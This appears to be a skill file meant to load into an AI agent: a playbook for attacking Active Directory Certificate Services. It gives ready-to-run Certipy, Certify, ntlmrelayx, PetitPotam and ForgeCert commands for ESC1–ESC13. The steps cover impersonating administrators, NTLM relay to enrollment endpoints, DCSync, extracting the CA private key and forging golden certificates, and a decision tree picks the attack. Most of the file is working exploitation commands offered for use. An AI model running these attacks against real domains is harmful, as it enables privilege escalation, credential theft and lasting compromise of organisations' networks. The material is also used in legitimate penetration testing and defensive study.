SKILL: AD CS Attack Playbook — Expert Guide
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
- active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
- ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
- windows-lateral-movement for using obtained certificates for lateral movement
Advanced Reference
Also load ADCS_ESC_MATRIX.md when you need:
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
1. AD CS ARCHITECTURE OVERVIEW
Certificate Authority (CA) │ ├── Enterprise CA (AD-integrated, issues certs based on templates) │ ├── Certificate Templates (define who can enroll, what EKUs, subject settings) │ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM │ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration │ ├── Template Key Settings: │ ├── Subject Alternative Name (SAN): who the cert represents │ ├── Extended Key Usage (EKU): what the cert allows │ ├── Enrollment permissions: who can request │ └── Issuance requirements: manager approval, authorized signatures │ └── Certificate → Kerberos Auth Flow: User presents cert → PKINIT → KDC verifies → issues TGT
2. ENUMERATION
bash# Certipy (recommended — comprehensive) certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout # Certify (from Windows) Certify.exe find Certify.exe find /vulnerable Certify.exe cas # Enumerate CAs # Manual LDAP query for templates ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \ -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \ "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 — ENROLLEE SUPPLIES SUBJECT
Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
bash# Certipy certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template VulnTemplate -upn administrator@domain.com # Certify (Windows) Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator # Authenticate with certificate certipy auth -pfx administrator.pfx -dc-ip DC_IP # → NT hash of administrator
4. ESC2 — ANY PURPOSE EKU
Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
bash# Same as ESC1 exploitation certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template AnyPurposeTemplate -upn administrator@domain.com
5. ESC3 — ENROLLMENT AGENT
Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
bash# Step 1: Request enrollment agent cert certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template EnrollmentAgent # Step 2: Use enrollment agent cert to request on behalf of admin certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx # Authenticate certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 — TEMPLATE ACL MISCONFIGURATION
Condition: Low-privilege user has write access to certificate template object.
bash# Modify template to become ESC1 vulnerable # Using Certipy: certipy template -u user@domain.com -p password -template VulnTemplate \ -save-old -dc-ip DC_IP # Template is now ESC1 → exploit as ESC1 certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template VulnTemplate -upn administrator@domain.com # Restore original template (cleanup) certipy template -u user@domain.com -p password -template VulnTemplate \ -configuration old_config.json -dc-ip DC_IP
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled → any template becomes ESC1.
bash# Check if flag is set certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags # Exploit: request any template with SAN certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template User -upn administrator@domain.com
8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
Condition: User has ManageCA or ManageCertificates permission on the CA.
bash# With ManageCA: enable SubCA template (always allows SAN) certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \ -enable-template SubCA # Request SubCA cert with admin SAN (will be denied — "pending") certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template SubCA -upn administrator@domain.com # With ManageCertificates: approve the pending request certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \ -issue-request REQUEST_ID # Retrieve the issued certificate certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -retrieve REQUEST_ID
9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
bash# Setup relay to enrollment endpoint ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # Coerce DC authentication (PetitPotam, PrinterBug, etc.) PetitPotam.py RELAY_HOST DC01.domain.com # DC authenticates → relay → certificate issued for DC01$ # Authenticate with certificate certipy auth -pfx dc01.pfx -dc-ip DC_IP # → DC01$ hash → DCSync
10. ESC9-ESC13 — NEWER DISCOVERIES
ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.
bash# Change victim's UPN to admin, request cert, change back certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
ESC10: Weak Certificate Mapping (Registry-based)
Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.
ESC11: NTLM Relay to RPC Enrollment
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
bashntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \ -smb2support --adcs --template DomainController
ESC13: OID Group Link (Issuance Policy)
Template's issuance policy OID is linked to a group → certificate grants that group membership.
bashcertipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \ -template ESC13Template # Certificate grants membership in linked group
11. CERTIFICATE-BASED PERSISTENCE
Golden Certificate
With CA private key → forge any certificate.
bash# Extract CA private key (requires admin on CA server) certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST # Forge certificate for any user certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com" # Authenticate with forged cert certipy auth -pfx forged.pfx -dc-ip DC_IP
Persistence: Valid until CA certificate expires or CA private key is rotated.
ForgeCert (Windows)
cmdForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \ --SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS ATTACK DECISION TREE
Targeting AD CS │ ├── Enumerate: certipy find -vulnerable │ ├── Vulnerable template found? │ ├── Enrollee can set SAN + Client Auth EKU? │ │ └── ESC1 → request cert with admin UPN (§3) │ ├── Any Purpose EKU? │ │ └── ESC2 → same as ESC1 (§4) │ ├── Enrollment Agent template available? │ │ └── ESC3 → enroll as agent, then on-behalf-of (§5) │ └── OID group link in issuance policy? │ └── ESC13 → request cert for group membership (§10) │ ├── Write access to template? │ └── ESC4 → modify template to ESC1 condition (§6) │ ├── CA misconfiguration? │ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag? │ │ └── ESC6 → any template becomes ESC1 (§7) │ ├── ManageCA / ManageCertificates permission? │ │ └── ESC7 → enable SubCA template, approve requests (§8) │ └── HTTP enrollment without HTTPS? │ └── ESC8 → NTLM relay to certsrv (§9) │ ├── Weak certificate mapping on DC? │ ├── StrongCertificateBindingEnforcement < 2? │ │ └── ESC9 → UPN manipulation + cert request (§10) │ └── CertificateMappingMethods misconfigured? │ └── ESC10 → similar UPN abuse (§10) │ ├── RPC enrollment without encryption? │ └── ESC11 → NTLM relay to RPC (§10) │ └── Already CA admin? └── Golden certificate for persistence (§11)
